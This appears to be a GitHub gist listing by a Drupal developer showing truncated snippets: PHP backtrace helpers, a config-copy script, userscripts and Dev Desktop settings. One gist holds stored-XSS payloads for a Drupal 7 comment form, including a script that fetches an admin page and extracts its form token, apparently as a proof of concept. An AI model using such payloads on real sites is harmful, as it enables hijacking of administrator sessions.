Bash script to:
- Iterate all commits made within a Git repository.
- List every object at each commit.
hasValue = function (value) { | |
if (typeof value === 'undefined') { | |
return false; | |
} | |
if (value === null) { | |
return false; | |
} | |
if (Object.prototype.hasOwnProperty.call(value, 'length') && value.length === 0) { |
<?php | |
$debug_backtrace = debug_backtrace(); | |
$output = []; | |
foreach ($debug_backtrace as $debug) { | |
if (isset($debug['class'])) { | |
$o = $debug['class']; | |
} | |
$o .= '::' . $debug['function']; | |
// ==UserScript== | |
// @name FieldCollector | |
// @namespace drupal | |
// @version 0.1 | |
// @description Gets list of fields from field ui and creates a CSV, you need to be on the Manage fields tab and Console must be open. Useful to create migration mappings. Copy the list of fields, paste on google docs and go to Data/Split text to columns | |
// @author Marcelo Vani | |
// @match http://*/* | |
// @grant none | |
// @require http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js | |
// ==/UserScript== |
<?php | |
# This script replaces existing config on the current folder by copying from the origin provided as argument | |
# It also removes uuid and default_config hashes | |
if (empty($argv[1])) { | |
echo 'Please provide the origin folder' . PHP_EOL; | |
exit; | |
} | |
$origin = $argv[1]; | |
$local = getcwd(); |
function short_backtrace($limit = 0) { | |
$r = []; | |
$t = debug_backtrace(); | |
$t = array_slice($t, 1, $limit); | |
for ($i = 0; $i <= $limit; $i++) { | |
if (isset($t[$i]['file'])) { | |
$f = ''; | |
if (isset($t[$i]['function'])) { | |
$f = ' called ' . $t[$i]['function'] . '()'; | |
} |
#0 d7 site: node/1 comment form with full html input format by uid0. | |
<script>alert('XSS')</script> | |
#1 d7 site: node/1 comment form with full html input format by uid0. | |
<script> | |
jQuery.get(Drupal.settings.basePath + 'admin/config/development/maintenance', | |
function (data, status) { | |
if (status == 'success') { | |
var matches = data.match(/name="form_token" value="([a-zA-Z0-9_-]*)"/); |
// ==UserScript== | |
// @name Whatsapp | |
// @namespace chat | |
// @version 0.1 | |
// @description Tweaks | |
// @author Marcelo Vani | |
// @match https://web.whatsapp.com | |
// @grant none | |
// @require http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js | |
// ==/UserScript== |
// ==UserScript== | |
// @name Jira | |
// @namespace work | |
// @version 0.1 | |
// @description Tweaks | |
// @author Marcelo Vani | |
// @match https://creativesolutions.atlassian.net/secure/RapidBoard.jspa* | |
// @grant none | |
// @require http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js | |
// ==/UserScript== |
<?php | |
// <DDSETTINGS> | |
// Please don't edit anything between <DDSETTINGS> tags. | |
// This section is autogenerated by Acquia Dev Desktop. | |
if (isset($_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR']) && file_exists($_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR'] . '/loc_subscriptions_dd.inc')) { | |
//echo $_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR'] . '/loc_subscriptions_dd.inc'; | |
require $_SERVER['DEVDESKTOP_DRUPAL_SETTINGS_DIR'] . '/loc_subscriptions_dd.inc'; | |
$settings['trusted_host_patterns'] = []; | |
$config_directories = array('sync' => '../config/sync'); |